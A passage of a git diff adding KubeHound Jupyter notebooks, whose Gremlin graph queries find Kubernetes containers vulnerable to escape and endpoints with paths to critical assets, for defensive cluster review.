".groupCount() // group and count occurencies\n", + ".by(label) // count by label of vertices\n", + ".unfold() // output as a list" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## KubeHound RBAC\n", + "\n", + "A permission set is the combination of role and role binding. The reason is that RoleBinding can “downgrade” the scope of a cluster role." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.permissions() // get the permissionsets\n", + ".valueMap()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "List all the permission set flagged as `critical()`. This is equivalent to `.has(\"critical\",true)`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "kh.permissions() // get the permissionsets\n", + ".critical() // limit to criticalAsset only\n", + ".valueMap(\"name\",\"role\",\"rules\") // filter to specific properties" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Intermediate Gremlin\n", + "\n", + "When building a path you need to access Edges and Vertices to know when to stop the path.\n", + "\n", + "* `outV()`: get all outgoing vertices \n", + "* `inV()`: get all incoming vertices \n", + "* `outE()`: get all outgoing edges \n", + "* `inE()`: get all incoming edges\n", + "* `out()`: get all adjacent vertices connected by outgoing edges\n", + "\n", + "Note: you filter the elements you want to select with labels.\n", + "\n", + "Example using `out*()`, building the attacks() DSL function." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers().outE().inV().path().by(valueMap())" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This is the equivalent to `attacks()`. You should get the same results with it." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers().attacks().by(elementMap())" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To build a path you need to iterate through the element and checks at every step if you want to stop or not.\n", + "\n", + "* `loops()`: Indicate the number of iteration\n", + "* `repeat()`: Define the action you want to iterate\n", + "* `until()`: Set the condition for the loop\n", + "* `simplePath()`: Create a path with avoiding cyclic loop that will break the graph\n", + "\n", + "To build a path you need to iterate through the element and checks at every step if you want to stop or not.\n" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints().\n", + "repeat(\n", + " outE().inV().simplePath() // Building the path\n", + ").until(\n", + " has(\"critical\", true) // Stop when meeting a critical asset\n", + " .or().loops().is(4) // Stop after 4 iteration\n", + ").has(\"critical\", true) // Keep only path ending with a critical asset\n", + ".path().by(elementMap()) // Output as a graph" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "This is an equivalent to `criticalPaths(4)`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints() // Start with all endpoints\n", + ".criticalPaths(4) // Build criticalPath with 4 max hops\n", + ".by(elementMap()) // Output as a graph" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To extract the first element of a path, the local function allows to scope to the first resources.\n", + "\n", + "* `local()`: Its purpose is to execute a child traversal on a single element within the stream." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints() // List all endpoints\n", + ".criticalPaths() // Generate the criticalPaths\n", + ".limit(local,1) // Extract the first element\n", + ".dedup() // Deduplicating result\n", + ".valueMap() // Json output of the vertices properties" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.16" + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/deployments/kubehound/ui/LowHangingFruit-ContainerEscape.ipynb b/deployments/kubehound/ui/LowHangingFruit-ContainerEscape.ipynb new file mode 100644 index 000000000..67f66c390 --- /dev/null +++ b/deployments/kubehound/ui/LowHangingFruit-ContainerEscape.ipynb @@ -0,0 +1,550 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:25.538529Z", + "iopub.status.busy": "2024-07-24T14:46:25.538280Z", + "iopub.status.idle": "2024-07-24T14:46:25.545724Z", + "shell.execute_reply": "2024-07-24T14:46:25.545041Z", + "shell.execute_reply.started": "2024-07-24T14:46:25.538501Z" + }, + "frozen": false, + "init_cell": true, + "tags": [ + "safe_output" + ] + }, + "source": [ + "# Autoloading\n", + "\n", + "Loading graph visualisation settings." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "init_cell": true + }, + "outputs": [], + "source": [ + "%%capture \"Remove this line to see debug information\"\n", + "%%graph_notebook_vis_options\n", + "{\n", + " \"edges\": {\n", + " \"smooth\": {\n", + " \"enabled\": true,\n", + " \"type\": \"dynamic\"\n", + " },\n", + " \"arrows\": {\n", + " \"to\": {\n", + " \"enabled\": true,\n", + " \"type\": \"arrow\"\n", + " }\n", + " }\n", + " }\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "# Initial Setup\n", + "\n", + "## Get a view of all Ingested Cluster\n", + "\n", + "Retrieve all the current cluster ingested in KubeHound with the associated runID with the number of nodes. This numbers can be used to get a clue of the size of the cluster and also identify if an ingestion did not complete." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:28.273187Z", + "iopub.status.busy": "2024-07-24T14:46:28.272852Z", + "iopub.status.idle": "2024-07-24T14:46:28.625859Z", + "shell.execute_reply": "2024-07-24T14:46:28.625126Z", + "shell.execute_reply.started": "2024-07-24T14:46:28.273156Z" + }, + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.nodes()\n", + " .groupCount()\n", + " .by(project('cluster','runID')\n", + " .by('cluster').by('runID'))\n", + " .unfold()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "## Setting your run_id/cluster\n", + "\n", + "Set which runID you want to use. The variable are being shared with all users of the instance, so we advise to make a uniq string for your user `runID_yourid` to avoid any conflict." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('runID_yourid','01htdgjj34mcmrrksw4bjy2e94')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "# Container escapes\n", + "\n", + "List all containers which are vulnerable to container escape to the node. \n", + "\n", + "## Identify the vulnerable containers\n", + "\n", + "The goal of this list is to identify images vulnerable to container escape. It will list all the containers and remove duplicate entry that share the same `namespace`, `app`, `team` and `image` labels." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .where(\n", + " repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .limit(1)\n", + " )\n", + " .dedup().by(\"image\")\n", + " .valueMap(\"namespace\",\"app\",\"team\",\"image\")\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "If the list above is still too big to handle you can start with a more narrow view. The following list give a more abstract view to get deduplicated list of vulnerable `app`/`namespace`.\n", + "\n", + "If the k8s label `app` is not set properly, scope it by `namespace`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .where(\n", + " repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .limit(1)\n", + " )\n", + " .dedup()\n", + " .by(\"namespace\")\n", + " .by(\"app\")\n", + " .valueMap(\"namespace\",\"app\")\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The goal here is to extract a list of apps for which you accept the risk for XYZ reason, to ignore them in queries. You can set this exclude list of `app` or `namespace` using gremlin variables in the following cell:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('containerEscape_whiteListedApp_yourid',['WHITELISTED_APP1', \"WHITELISTED_APP2\"])\n", + "\n", + "graph.variables()\n", + " .set('containerEscape_whiteListedNamespace_yourid',['NAMESPACE1', \"NAMESPACE2\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To filter them out, add the following `.not(has(...whiteListedApp...).or(...whiteListedNamespace...)` block at the start of the Gremlin queries" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('containerEscape_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('containerEscape_whiteListedNamespace_yourid').get()))\n", + " )" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "## Manual investigation for each app/namespace\n", + "\n", + "From the above list, you can manually investigate each vulnerable `app`/`namespace`. To proceed with the investigation, just copy/paste the name of the vulnerable app (replace `VULNERABLE_APP` by the targetted app)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('containerEscape_vulnApp_yourid','VULNERABLE_APP')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack paths from a particular app\n", + "\n", + "The following gremlin request will **list all container escapes for the selected app**. We add a limit(1000) to avoid having huge graph." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "scrolled": true, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('containerEscape_vulnApp_yourid').get().trim())\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path().by(elementMap())\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "The last view can already be quite overwhelming, even if it might not be an exhaustive view (as we capped the result with `limit(1000)`). Increasing the limit will not solve the issue as it will become humanly unreadable. \n", + "\n", + "### Listing all attack path deduplicated by app from a particular app \n", + "\n", + "One way to solve it is to generate an **overall view to understand the attack path**. This view will strip any specific information (image, ids, ...) and keep only 3 labels:\n", + "* the `app` label which specify what is associated application\n", + "* the `class` of the object (node, pod, role, ...) \n", + "* if the resource is `critical`. \n", + "\n", + "For instance, this will remove any replicatset duplication." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('containerEscape_vulnApp_yourid').get().trim())\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path()\n", + " .by(valueMap(\"app\", \"class\",\"critical\").with(WithOptions.tokens,WithOptions.labels))\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "### Listing all attack path deduplicated by label/type from a particular app \n", + "\n", + "Sometimes, the previous view is still too big and return too many elements to be easily processable. So, to get an even widder picture, we can deduplicate the attack paths by k8s resource type only. This show the interaction from one type (endpoints/containers/nodes/...) to try to understand the bigger picture." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('containerEscape_vulnApp_yourid').get().trim())\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path().by(label())\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Global view using the whitelisted approach\n", + "\n", + "We are reusing the same queries as previously but instead of iterating over each app, we take the problem more globaly. This approach can be quicker but needs to have a smaller or secure cluster.\n", + "\n", + "### Listing all attack paths (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('containerEscape_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('containerEscape_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path().by(elementMap())\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack path deduplicated by app (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('containerEscape_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('containerEscape_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path()\n", + " .by(valueMap(\"app\", \"class\",\"critical\").with(WithOptions.tokens,WithOptions.labels))\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack path deduplicated by label/type (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.containers()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('containerEscape_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('containerEscape_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .repeat(\n", + " outE().inV().simplePath().dedup() // Building the path from one vertex to another\n", + " ).until(\n", + " has(\"class\", \"Node\") // Stop when meeting a critical asset\n", + " .or().loops().is(10) // Stop after X iteration\n", + " ).has(\"class\", \"Node\") // Keep only path ending with a critical asset\n", + " .path().by(\"class\")\n", + " .dedup()\n", + " .limit(1000)" + ] + } + ], + "metadata": { + "celltoolbar": "Initialization Cell", + "dd-sharing": { + "allowed_groups": [ + "team-ase", + "subproduct-secopsengineering", + "team-aso", + "" + ], + "allowed_users": [ + "" + ], + "retention_period": "90" + }, + "kernelspec": { + "display_name": "Python 3 (default)", + "language": "python", + "name": "ipykernel-default" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.13" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/deployments/kubehound/ui/LowHangingFruit-Endpoints.ipynb b/deployments/kubehound/ui/LowHangingFruit-Endpoints.ipynb new file mode 100644 index 000000000..309eb985b --- /dev/null +++ b/deployments/kubehound/ui/LowHangingFruit-Endpoints.ipynb @@ -0,0 +1,490 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:25.538529Z", + "iopub.status.busy": "2024-07-24T14:46:25.538280Z", + "iopub.status.idle": "2024-07-24T14:46:25.545724Z", + "shell.execute_reply": "2024-07-24T14:46:25.545041Z", + "shell.execute_reply.started": "2024-07-24T14:46:25.538501Z" + }, + "frozen": false, + "init_cell": true, + "tags": [ + "safe_output" + ] + }, + "source": [ + "# Autoloading\n", + "\n", + "Loading graph visualisation settings." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "init_cell": true + }, + "outputs": [], + "source": [ + "%%capture \"Remove this line to see debug information\"\n", + "%%graph_notebook_vis_options\n", + "{\n", + " \"edges\": {\n", + " \"smooth\": {\n", + " \"enabled\": true,\n", + " \"type\": \"dynamic\"\n", + " },\n", + " \"arrows\": {\n", + " \"to\": {\n", + " \"enabled\": true,\n", + " \"type\": \"arrow\"\n", + " }\n", + " }\n", + " }\n", + "}" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "# Initial Setup\n", + "\n", + "## Get a view of all Ingested Cluster\n", + "\n", + "Retrieve all the current cluster ingested in KubeHound with the associated runID with the number of nodes. This numbers can be used to get a clue of the size of the cluster and also identify if an ingestion did not complete." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "execution": { + "iopub.execute_input": "2024-07-24T14:46:28.273187Z", + "iopub.status.busy": "2024-07-24T14:46:28.272852Z", + "iopub.status.idle": "2024-07-24T14:46:28.625859Z", + "shell.execute_reply": "2024-07-24T14:46:28.625126Z", + "shell.execute_reply.started": "2024-07-24T14:46:28.273156Z" + }, + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.nodes()\n", + " .groupCount()\n", + " .by(project('cluster','runID')\n", + " .by('cluster').by('runID'))\n", + " .unfold()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "## Setting your run_id/cluster\n", + "\n", + "Set which runID you want to use. The variable are being shared with all users of the instance, so we advise to make a uniq string for your user `runID_yourid` to avoid any conflict." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('runID_yourid','01htdgjj34mcmrrksw4bjy2e94')" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "# Endpoints\n", + "\n", + "Identify attack path from endpoints. Get a view of all endpoints leading to a critical path (full take over on the cluster).\n", + "\n", + "## Identify the vulnerable app/namespace\n", + "\n", + "The goal of this list is to identify endpoints leading to a critical path. The list here is exhaustive _by port_ which means we will deduplicate the result by the k8s label `app` or `namespace`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .hasCriticalPath()\n", + " .dedup()\n", + " .by(\"namespace\")\n", + " .by(\"port\")\n", + " .valueMap(\"namespace\",\"app\",\"team\",\"portName\",\"port\",\"serviceDns\",\"exposure\")\n", + " .limit(100)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "If the list above is still too big to handle you can start with a more narrow view. The following list give a more abstract view to get deduplicated list of vulnerable `app`/`namespace`.\n", + "\n", + "If the k8s label `app` is not set properly, scope it by `namespace`." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .hasCriticalPath()\n", + " .dedup()\n", + " .by(\"namespace\")\n", + " .by(\"app\")\n", + " .valueMap(\"namespace\",\"app\")\n", + " .limit(100)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "The goal here is to extract a list of apps for which you accept the risk for XYZ reason, to ignore them in queries. You can set this exclude list of `app` or `namespace` using gremlin variables in the following cell:" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('endpoits_whiteListedApp_yourid',['WHITELISTED_APP1', \"WHITELISTED_APP2\"])\n", + "\n", + "graph.variables()\n", + " .set('endpoits_whiteListedNamespace_yourid',['NAMESPACE1', \"NAMESPACE2\"])" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "## Manual investigation for each app/namespace\n", + "\n", + "From the above list, you can iterate manual investigation by scoping by each vulnerable `app`/`namespace`. To proceed with the investigation, just copy/paste the name of the vulnerable app (replace `VULNERABLE_APP` by the targetted app)." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "graph.variables()\n", + " .set('endpoint_vulnApp_yourid','VULNERABLE_APP')" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack paths from a particular app\n", + "\n", + "The following gremlin request will **list all attack paths from the selected app**. We add a limit(1000) to avoid having huge graph." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "scrolled": true, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('endpoint_vulnApp_yourid').get().trim())\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "The last view can already be quite overwhelming, even if it might not be an exhaustive view (as we capped the result with `limit(1000)`). Increasing the limit will not solve the issue as it will become humanly unreadable.\n", + "\n", + "### Listing all attack path deduplicated by app from a particular app \n", + "\n", + "One way to solve it is to generate an **overall view to understand the attack path**. This view will strip any specific information (image, ids, ...) and keep only 3 labels:\n", + "* the `app` label which specify what is associated application\n", + "* the `class` of the object (node, pod, role, ...) \n", + "* if the resource is `critical`. \n", + "\n", + "For instance, this will remove any replicatset duplication." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('endpoint_vulnApp_yourid').get().trim())\n", + " .criticalPaths()\n", + " .by(valueMap(\"app\", \"class\",\"critical\").with(WithOptions.tokens,WithOptions.labels))\n", + " .limit(10000)\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "frozen": false, + "tags": [ + "unsafe_output" + ] + }, + "source": [ + "### Listing all attack path deduplicated by label/type from a particular app \n", + "\n", + "Sometimes, the previous view is still too big and return too many elements to be easily processable. So, to get an even widder picture, we can deduplicate the attack paths by k8s resource type only. This show the interaction from one type (endpoints/containers/nodes/...) to try to understand the bigger picture." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "frozen": false, + "tags": [ + "safe_output" + ] + }, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .has(\"app\",graph.variables().get('endpoint_vulnApp_yourid').get().trim())\n", + " .criticalPaths()\n", + " .by(label())\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Global view using the whitelisted approach\n", + "\n", + "We are reusing the same queries as previously but instead of iterating over each app, we take the problem more globaly. This approach can be quicker but needs to have a smaller or secure cluster.\n", + "\n", + "### Listing all attack paths (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('endpoits_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('endpoits_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .criticalPaths()\n", + " .by(elementMap())\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "To filter them out, add the following `.not(has(...whiteListedApp...).or(...whiteListedNamespace...)` block at the start of the Gremlin queries" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack path deduplicated by app (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('endpoits_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('endpoits_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .criticalPaths()\n", + " .by(valueMap(\"app\", \"class\",\"critical\").with(WithOptions.tokens,WithOptions.labels))\n", + " .limit(10000)\n", + " .dedup()\n", + " .limit(1000)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Listing all attack path deduplicated by label/type (except the whitelisted one)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "%%gremlin -d class -g critical -le 50 -p inv,oute\n", + "\n", + "kh.endpoints()\n", + " .has(\"runID\", graph.variables().get('runID_yourid').get().trim())\n", + " .not(\n", + " has(\"app\", within(graph.variables().get('endpoits_whiteListedApp_yourid').get()))\n", + " .or().has(\"namespace\", within(graph.variables().get('endpoits_whiteListedNamespace_yourid').get()))\n", + " )\n", + " .criticalPaths()\n", + " .by(label())\n", + " .dedup()\n", + " .limit(1000)" + ] + } + ], + "metadata": { + "celltoolbar": "Initialization 